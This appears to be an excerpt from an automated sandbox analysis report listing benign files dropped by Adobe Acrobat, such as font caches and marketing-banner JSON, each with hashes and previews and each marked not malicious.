Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.320

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.309972211494448
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQBA0ERx+FIbRI6XVW7+0YkvoAvJM3g98kUwPeUkwRe9:YvXKX0A0ERUYpW7GGMbLUkee9
MD5:	DEB3DC4F09BF1793427BD9AA9F8634A6
SHA1:	51FE4FBD65D5D2816C04A1968311F23E3942709F
SHA-256:	6A71346B3B1AF68BD8B6A8E2F6F57773BA29B91260C975324F71B3954BAF974C
SHA-512:	7F0BD58F68C3C1BAD116E89C63056A090ADC1C120A0B09908E6B4ECCCC03B842A838609D801520113A4B63CD58E588615B81DD60CACF3186435D23CBBA272D7A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d6fbe4f5-cdbc-4ade-af65-0c290abc9baf","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736706241727,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.244529252830102
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQBA0ERx+FIbRI6XVW7+0YkvoAvJfBoTfXpnrPeUkwRe9:YvXKX0A0ERUYpW7GGWTfXcUkee9
MD5:	F3AEA309E9E25409B459BEE29FCD4571
SHA1:	1D26242FFC640C25E8C6FE0F57F100CAF2BD3C56
SHA-256:	4A5A3CF31D671BEE2A1C80E5EDF11EDB6B8E991CC6C2BD1D9B475A0B19FA8C3A
SHA-512:	4941B72E7077D0E8D848FA54F621012C70A4E434B3E4C3B87BC293C0C727CABF383B72229CA99DD8046D25A4537B3B0D08551274BAC7F7754436F0AF9BE43FBC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d6fbe4f5-cdbc-4ade-af65-0c290abc9baf","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736706241727,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2222903232019275
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQBA0ERx+FIbRI6XVW7+0YkvoAvJfBD2G6UpnrPeUkwRe9:YvXKX0A0ERUYpW7GGR22cUkee9
MD5:	BE0BB29F13204FDAC454C410D82BFD06
SHA1:	D43ECBA489B131BB001FB76F61D9760D9F7670E2
SHA-256:	D4611D5BC93D9A324733E805BC723AB86261F378835670D489534CCB64D14BF4
SHA-512:	D5301653D0A079FC62F9B1E25E0B8590C4A8268CEAD6597AECE918506910C178FA7433FE71AF7ECA94C8FA210089726BF404DA9A1B0DA9FDB5347537B76EEEAD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d6fbe4f5-cdbc-4ade-af65-0c290abc9baf","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736706241727,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.2869917145932
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQBA0ERx+FIbRI6XVW7+0YkvoAvJfPmwrPeUkwRe9:YvXKX0A0ERUYpW7GGH56Ukee9
MD5:	930A068A4667FA14B690A019658AD3D9
SHA1:	0C6749AB7639F79F16DA581480623F48A134E65B
SHA-256:	D51BDC2579BCEFB954C066EFF430350F3A81720FAB70BDC72B39C9748C3FDCCA
SHA-512:	E927EF1237B26F71C7F927390CC8C46BCD831E0A65A47E0AEBC81BB775D18622CA1FD459C0B6D22B9E10EA32B567810654A032B8C1B2C94545E1F047BB233649
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d6fbe4f5-cdbc-4ade-af65-0c290abc9baf","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736706241727,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.68169875245195
Encrypted:	false
SSDEEP:	24:Yv6X0aRFiTpLgE9cQx8LennAvzBvkn0RCmK8czOCCSJ:YvB9Thgy6SAFv5Ah8cv/J
MD5:	FF04E9C13E7869E5CDA2BE84DFDEA391
SHA1:	C9459D55455CAC4426A6438769877D5703FD851E
SHA-256:	67D145274633E0C1D93D5AE3A438CF5C580FA2AE1466E304242E326D6524DC2B
SHA-512:	A62D1E0EAC1278D013D9A4AF36970A06B20653609572B1E0C92BA1FC4618E9166A5F860BCB68E9F1D75A6281FC5A3077931A2415381049FC0C961D6DB7B47C0C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d6fbe4f5-cdbc-4ade-af65-0c290abc9baf","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736706241727,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.228690165530961
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQBA0ERx+FIbRI6XVW7+0YkvoAvJf8dPeUkwRe9:YvXKX0A0ERUYpW7GGU8Ukee9
MD5:	2E4256EB567E42D8B23AF5251019CC8C
SHA1:	3DD85D56FA07F7AED68ED4ED5CB171536A91F291
SHA-256:	201B939E1F5D13CEBE26211EC81E13141DF4F87F5E0FADB42152C77292F36ADB
SHA-512:	60DF19DE1E5C67982B8BD757DC4B86EA0DE6884A6155A9F1E4813DE64AA4F809E28FAEB5D11BB4FDE1B5642B3A13BB376224F514870FC2E30F053853ADE3FA0D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d6fbe4f5-cdbc-4ade-af65-0c290abc9baf","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736706241727,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.23096162635853
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQBA0ERx+FIbRI6XVW7+0YkvoAvJfQ1rPeUkwRe9:YvXKX0A0ERUYpW7GGY16Ukee9
MD5:	1D69CA46AE98673728E95621CF7D2044
SHA1:	3525CC58CEBE4D1AEB7FB5DAB135B42E63322327
SHA-256:	51B156AA905B030C827416A698B9DAFC9DE207A4F51C5B74A0A4CD5C333B29FF
SHA-512:	A3BC498E7CB1B06BD602A1AD84AB62811764AA220E661803E7959D48F93F8BD547C2EA75BFD05ACFB00AC3BB55C735AFE6CC88B4D554480CF40501B543B45AFF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d6fbe4f5-cdbc-4ade-af65-0c290abc9baf","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736706241727,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.249242257766782
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQBA0ERx+FIbRI6XVW7+0YkvoAvJfFldPeUkwRe9:YvXKX0A0ERUYpW7GGz8Ukee9
MD5:	A646534E74A728CE075A83850D4E67F5
SHA1:	BD0F924C8570B913B2F83EFD2243188977556243
SHA-256:	BABE4464DFD7976AE78CCE1116FFC643EA194AE2B88C0A6D05680FBB4CDFDAE8
SHA-512:	F790B58809641939C182A8FCA6FADAE2D54DCDFB21D15574AE7BD493B2941940D0A57F6312C7ED7417C6864824FD65AA6D2EB42A3571664D964153B8FA056AF6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d6fbe4f5-cdbc-4ade-af65-0c290abc9baf","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736706241727,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.257630840809769
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQBA0ERx+FIbRI6XVW7+0YkvoAvJfzdPeUkwRe9:YvXKX0A0ERUYpW7GGb8Ukee9
MD5:	659608767C849F0DD6CE61577DB34AD8
SHA1:	BFED1A7FAA790AC4C198752938F9F18609E11711
SHA-256:	4CD60F327A4FDE77E290C318A5F00766A2BC6CA6FC619A198912067E627EE7E9
SHA-512:	6A2D5FE13B10255F4744BAA176D0A5B62A7BAE6FFBB47E52E5BC1C0817B8D709091E21E5D9B463FB9C52CAC9A888877AEAA1F439BC89A704673FF8C28022BDEC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d6fbe4f5-cdbc-4ade-af65-0c290abc9baf","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736706241727,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2375332712546
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQBA0ERx+FIbRI6XVW7+0YkvoAvJfYdPeUkwRe9:YvXKX0A0ERUYpW7GGg8Ukee9
MD5:	178DD599CDEBEB25F2691B647A6E30AC
SHA1:	EB8D3583E1F68F808260E1198B777C824BE9E909
SHA-256:	6459B9389EC6F8516DDA74E33F232A86BDFB46A05FA198939B2C291C27388681
SHA-512:	A1BA54C58639E377E3F2DD53F4946DEFAAE616E4B90FC2742D1C7ED4B60A109174A6AF1B504B26F2C57877F8867FC74E430CE6009E2CDAB04879B6EEEEC5FBD7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d6fbe4f5-cdbc-4ade-af65-0c290abc9baf","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736706241727,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.2227828686539635
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQBA0ERx+FIbRI6XVW7+0YkvoAvJf+dPeUkwRe9:YvXKX0A0ERUYpW7GG28Ukee9
MD5:	C9C40FFFBA702BB044DEAB638C174ED1
SHA1:	19D415AFEC05E20585E5CB66D0B544D1AFD6FAF6
SHA-256:	5E368163CA5DD40FEE13718C810818525F42CCB2C389A31DBF0C73F90E630D7E
SHA-512:	30D144CAD53A13B1CB522D13198ADAE0D2277B3FAB1D7C56C69E579A248A4ECB6FA103E5A5E0A7D3E4048B57C64CD0AAC36B9F7F1B1944444BD4914553397002
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d6fbe4f5-cdbc-4ade-af65-0c290abc9baf","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736706241727,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.221509693524652
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQBA0ERx+FIbRI6XVW7+0YkvoAvJfbPtdPeUkwRe9:YvXKX0A0ERUYpW7GGDV8Ukee9
MD5:	8A55716FC8AB5E8497E58A7C62AF5A26
SHA1:	B6128BC030E755A17BB37311955741D3B35189A2
SHA-256:	6468CA33CEF7A42F329488316CC85ED54C44D0B9E809D10A15714B1BAAAB8240
SHA-512:	60D2650E27EC2E949EDD16816B9C92EEDF45074B6345A0EF69B1D9D5AC2ED37A8AC18A9EC6AD90E6E0EEB1E27F721BA6B315500459F598A231A268D37C64323E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d6fbe4f5-cdbc-4ade-af65-0c290abc9baf","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736706241727,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.222893556750914
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQBA0ERx+FIbRI6XVW7+0YkvoAvJf21rPeUkwRe9:YvXKX0A0ERUYpW7GG+16Ukee9
MD5:	1CC8FE4265A92E8233326A5A08E5EAB8
SHA1:	931032329D341EB922F76F3B473A68FBC7E6DC03
SHA-256:	6A9BDCA694A56DDFC4F2ABA1E597BAEBDEAA4886A93BDEEA3FBBE1964F85A25F
SHA-512:	C0B6368103258C86A58A59280FF9DB11B265F47FA61D704D669EB0C8D7339258B42B4F78C8AEB6C4F759158917FB1F33EE15B9CB46DACD66007745D944FEFD67
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d6fbe4f5-cdbc-4ade-af65-0c290abc9baf","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736706241727,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.65203108776543
Encrypted:	false
SSDEEP:	24:Yv6X0aRFijamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSJ:YvB9TBgkDMUJUAh8cvMJ
MD5:	1FBA676650D6213F281AC27BD1DF04B8
SHA1:	8856F94056BCE094179BCE2B7C7C78AE5B7E0C33
SHA-256:	ED12F10DA6D662FFA2C975660035053AE8B156AF701C227C6505A91783B39412
SHA-512:	0DA7EBC637496DBA1E2ED96138618B81B5D39D2D622C1D45AAC2E5935CC721943E55F62CBB05F87C0E4F3C914781FFB08E68D8B951F5849FBF7CEC95852E6EB6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d6fbe4f5-cdbc-4ade-af65-0c290abc9baf","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736706241727,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.195868894348888
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQBA0ERx+FIbRI6XVW7+0YkvoAvJfshHHrPeUkwRe9:YvXKX0A0ERUYpW7GGUUUkee9
MD5:	59A55864949D018E22302B07C3D69448
SHA1:	1D65BE16DBA2C154F82541A9F18AB952B3028DA0
SHA-256:	42785ADC6AE6AE0933D44EB3C03948185A309AB59962E1804519233ED586ABC0
SHA-512:	1653BA854D82DEFFDF8CD17E9D398B1726E95904D701A4B58CE5A822CAF097730FF10831BF8BB94D11DD38D4977146517A38C2278B94B9287F256B3319058507
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d6fbe4f5-cdbc-4ade-af65-0c290abc9baf","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736706241727,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.208877609820567
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQBA0ERx+FIbRI6XVW7+0YkvoAvJTqgFCrPeUkwRe9:YvXKX0A0ERUYpW7GGTq16Ukee9
MD5:	4C0AEA0BA364D978A4A0BA8DD1701B9E
SHA1:	F47897B0E075017EB4AA245B42CCD292BF5B5D0E
SHA-256:	EF8D61A9A46E2F6960CF72540F728C783EE3DD5E7F533498B1F91DDE0C9C5604
SHA-512:	D93571ADBC03E3B7EC8413AC1896A70F9031B36838376AC36FF1FB6002F7727A74CEA133D2DF976B2F53612D7A720C9F52D188366F688B39F8F79DE0BC61F7A6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d6fbe4f5-cdbc-4ade-af65-0c290abc9baf","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736706241727,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.129208087987075
Encrypted:	false
SSDEEP:	24:Y5+aUAqHayfR5pPXASGd19YpVjkLj0S/fvvA/D200UeP2LSxC9cMIch9c5ZLh9gV:YAAqPPXh1rOjArALzEcMIch+jLh9gdb
MD5:	B26E18039F0064808D7BD5B80187FDD9
SHA1:	0075CCEBB65025F868FE50053B5EFE3E986A34D0
SHA-256:	BBE2CBB05B7DAF09BF8870D0A4CFD4B6052E0C13FDC6B8CAC2E0906B03D5EF9E
SHA-512:	168F38753FE26D6DD2C72B077166E26C068C73A12413E28AE17EE2A5DC7B979029DF747ECE105D6965179FCAA7A0BCC9AD40160E01AD9D7E493B15DB92F1F507
Malicious:	false
